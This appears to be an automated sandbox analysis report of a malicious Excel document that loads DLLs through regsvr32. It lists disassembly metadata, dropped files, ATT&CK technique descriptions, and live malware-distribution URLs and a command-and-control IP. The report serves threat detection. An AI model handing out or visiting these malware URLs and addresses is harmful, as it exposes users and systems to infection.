Instruction ID: b6113464a3069b9c2ea7483fb119c14b36b3fc08ee8feeeb5aad03cf64425d1c
Opcode Fuzzy Hash: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction Fuzzy Hash: CCE2C8F691A7C58FE3B48F62AA817DD3AA0F345748F509208D3991FA1DCB395242CF85

Uniqueness

Uniqueness Score: -1.00%

Function 002C0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 002C0450
GetNativeSystemInfo.KERNEL32 ref: 002C0539
VirtualAlloc.KERNELBASE ref: 002C0580
VirtualProtect.KERNELBASE ref: 002C09E9

Strings

Virt, xrefs: 002C00E0
ofRe, xrefs: 002C0318
Cach, xrefs: 002C012F
urce, xrefs: 002C035D
eSys, xrefs: 002C0144
Lock, xrefs: 002C0330
tion, xrefs: 002C0128
onTa, xrefs: 002C0171
Reso, xrefs: 002C0355
truc, xrefs: 002C0121
Free, xrefs: 002C034D
lloc, xrefs: 002C00F0
urce, xrefs: 002C0304
Virt, xrefs: 002C00F8
ncti, xrefs: 002C016A
Size, xrefs: 002C0311
ualP, xrefs: 002C00FF
rote, xrefs: 002C0106
Reso, xrefs: 002C0338
Libr, xrefs: 002C00D0
ddFu, xrefs: 002C0163
RtlA, xrefs: 002C015C
GetN, xrefs: 002C0136
sour, xrefs: 002C031F
urce, xrefs: 002C0340
urce, xrefs: 002C02E7
aryA, xrefs: 002C00D8
temI, xrefs: 002C014B
Slee, xrefs: 002C00B7
Find, xrefs: 002C02D0
Flus, xrefs: 002C0113
ualA, xrefs: 002C00E8
Load, xrefs: 002C00C8
Reso, xrefs: 002C02DB
hIns, xrefs: 002C011A
ativ, xrefs: 002C013D
Reso, xrefs: 002C02FC
Load, xrefs: 002C02F4

Memory Dump Source

Source File: 00000005.00000002.936357539.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 002C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: 8ba112336fca9ef7a8b35a4b59e0e013f0f36789ae3b83468f658d617256cfb9
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: 1A72C630628B49CBDB29DF18C885BB9B7E1FB98305F10472DE88AD7211DB34D956CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF7537280 Relevance: 12.1, APIs: 8, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL ref: 000007FEF75372CE
DecodePointer.KERNEL32 ref: 000007FEF7537375
DecodePointer.KERNEL32 ref: 000007FEF75372EC

Part of subcall function 000007FEF7533D00: RtlEncodePointer.NTDLL ref: 000007FEF7533D06

DecodePointer.KERNEL32 ref: 000007FEF7537398
DecodePointer.KERNEL32 ref: 000007FEF75373AA
_initterm.LIBCMTD ref: 000007FEF7537408
_initterm.LIBCMTD ref: 000007FEF753741B
__crtExitProcess.LIBCMTD ref: 000007FEF753747D

Memory Dump Source

Source File: 00000005.00000002.937056272.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.937052762.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937070765.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937081290.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937086378.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$_initterm$EncodeExitProcess__crt
String ID:
API String ID: 3799933513-0
Opcode ID: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction ID: 50440ff04c6b651d32773591404ba5b67e5f7cae972734bbf51138f9a8de4c41
Opcode Fuzzy Hash: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction Fuzzy Hash: B751EC72E3DA8685E6D09B14E48432A77E5F389798F101535FA8D427B5EF3CE444CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024EE6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000005.00000002.936929041.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction ID: 5490f85ef4092ec497088e60b932e525f0ce693db587fe3a551d92928695aba5
Opcode Fuzzy Hash: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction Fuzzy Hash: 5141C27191C7848FD7A5DF18D08A7DAB7E0FB98318F01495DE88CC7292DB749885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024F28 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 111processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000005.00000002.936929041.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction ID: 90d0215384d3738c1bd812602d16852eefab8a4974bd8bae5625081230a7a3ff
Opcode Fuzzy Hash: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction Fuzzy Hash: 4741377091CB848BD7B4DF18D08A7AAB7E0FB98315F10495EE88CC3252DB7498848B86

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF7536FF2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF753CA00: EncodePointer.KERNEL32 ref: 000007FEF753CA33

_initterm_e.LIBCMTD ref: 000007FEF753701F

Strings

Y, xrefs: 000007FEF753700C

Memory Dump Source

Source File: 00000005.00000002.937056272.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.937052762.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937070765.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937081290.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937086378.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: EncodePointer_initterm_e
String ID: Y
API String ID: 1618838664-1754117475
Opcode ID: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction ID: 8d17ab7a58495d8069f622c6c8970338df7fec2bda78b20ca1d94b3edb2a395b
Opcode Fuzzy Hash: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction Fuzzy Hash: 3DE0A561E3C14297E6E5AB20EC803B927E2B794348F400931F94D4A8B5EB3DE905CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF7534399 Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF7534399(long long __rax, long long _a48, intOrPtr _a80, intOrPtr _a88, void* _a120) {

				_a48 = __rax;
				if (_a48 == 0) goto 0xf75343ad;
				goto 0xf75343f5;
				if (_a88 != 0) goto 0xf75343ce;
				if (_a120 == 0) goto 0xf75343c7;
				 *_a120 = 0xc;
				goto 0xf75343f5;
				if (E000007FE7FEF753ABB0(_a48, _a80) != 0) goto 0xf75343f3;
				if (_a120 == 0) goto 0xf75343ef;
				 *_a120 = 0xc;
				goto 0xf75343f5;
				goto 0xf7534377;
				return 0;
			}

0x7fef7534399
0x7fef75343a4
0x7fef75343ab
0x7fef75343b2
0x7fef75343ba
0x7fef75343c1
0x7fef75343cc
0x7fef75343da
0x7fef75343e2
0x7fef75343e9
0x7fef75343f1
0x7fef75343f3
0x7fef75343f9

Memory Dump Source

Source File: 00000005.00000002.937056272.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.937052762.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937070765.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937081290.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937086378.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction ID: f59c66b49deb2d2b3ece59ad2b01622829c0b8c50141bff4275200efde8df140
Opcode Fuzzy Hash: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction Fuzzy Hash: 48018726A2C749C6F6D08A15E44473AA7E1F3847D4F101135FE8D87BB8DB7CE480CA00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF7533433 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF7533437

Part of subcall function 000007FEF7537D00: DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF753343C), ref: 000007FEF7537D93

Part of subcall function 000007FEF7533E00: FlsFree.KERNEL32 ref: 000007FEF7533E13
Part of subcall function 000007FEF7533E00: _mtdeletelocks.LIBCMTD ref: 000007FEF7533E23

Part of subcall function 000007FEF75388D0: HeapDestroy.KERNELBASE ref: 000007FEF75388DB

Memory Dump Source

Source File: 00000005.00000002.937056272.000007FEF7531000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF7530000, based on PE: true

Associated: 00000005.00000002.937052762.000007FEF7530000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937070765.000007FEF7552000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937081290.000007FEF755B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.937086378.000007FEF755F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef7530000_regsvr32.jbxd

Similarity

API ID: CriticalDeleteDestroyFreeHeapSection_ioterm_mtdeletelocks
String ID:
API String ID: 1508997487-0
Opcode ID: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction ID: 0709412b6044a56b86e050daf6e123306acf1d940542bdba759049c97d51ab2e
Opcode Fuzzy Hash: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction Fuzzy Hash: 06E067A1F3C0079AF2D5676498823B91AD39B447C5F810879790EC62F3EA7DB8115661

Uniqueness

Uniqueness Score: -1.00%

Source: https://173.82.82.196:8080/	URL Reputation: Label: malware
Source: http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/	Avira URL Cloud: Label: malware
Source: https://173.82.82.196/;	Avira URL Cloud: Label: malware
Source: https://173.82.82.196/	URL Reputation: Label: malware
Source: https://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/	Avira URL Cloud: Label: malware
Source: http://www.kabeonet.pl/wp-admin/VWlAz5vWJNHDb/	Avira URL Cloud: Label: malware
Source: http://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/	Avira URL Cloud: Label: malware
Source: http://kabeonet.pl/wp-admin/VWlAz5vWJNHDb/	Avira URL Cloud: Label: malware

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	ReversingLabs: Detection: 58%
Source: C:\Users\user\uxevr1.ocx	ReversingLabs: Detection: 41%
Source: C:\Users\user\uxevr2.ocx	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\uxevr2.ocx	ReversingLabs: Detection: 58%
Source: C:\Users\user\uxevr3.ocx	ReversingLabs: Detection: 56%
Source: C:\Windows\System32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll (copy)	ReversingLabs: Detection: 41%
Source: C:\Windows\System32\WFwVcxpK\qMgBgEIcUslg.dll (copy)	ReversingLabs: Detection: 56%
Source: C:\Windows\System32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll (copy)	Metadefender: Detection: 28%	Perma Link
Source: C:\Windows\System32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll (copy)	ReversingLabs: Detection: 58%

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr3.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr1.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr2.ocx	Joe Sandbox ML: detected

Source: Joe Sandbox View	IP Address: 188.114.97.10 188.114.97.10
Source: Joe Sandbox View	IP Address: 188.114.97.10 188.114.97.10

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report melimar.com.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lJWa95VlQ[1]

C:\Users\user\AppData\Local\Temp\CabF04.tmp

C:\Users\user\AppData\Local\Temp\TarF05.tmp

C:\Users\user\AppData\Local\Temp\~DF4A00E8F1D401126E.TMP

C:\Users\user\Desktop\melimar.com.xls

C:\Users\user\uxevr1.ocx

C:\Users\user\uxevr2.ocx

C:\Users\user\uxevr3.ocx

C:\Windows\System32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll (copy)

C:\Windows\System32\WFwVcxpK\qMgBgEIcUslg.dll (copy)

C:\Windows\System32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll (copy)

Windows Analysis Report
melimar.com.xls

Function 000007FEF9D212B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Function 003B0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Function 000000018002B7B2 Relevance: 7.9, Strings: 6, Instructions: 449
COMMON

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre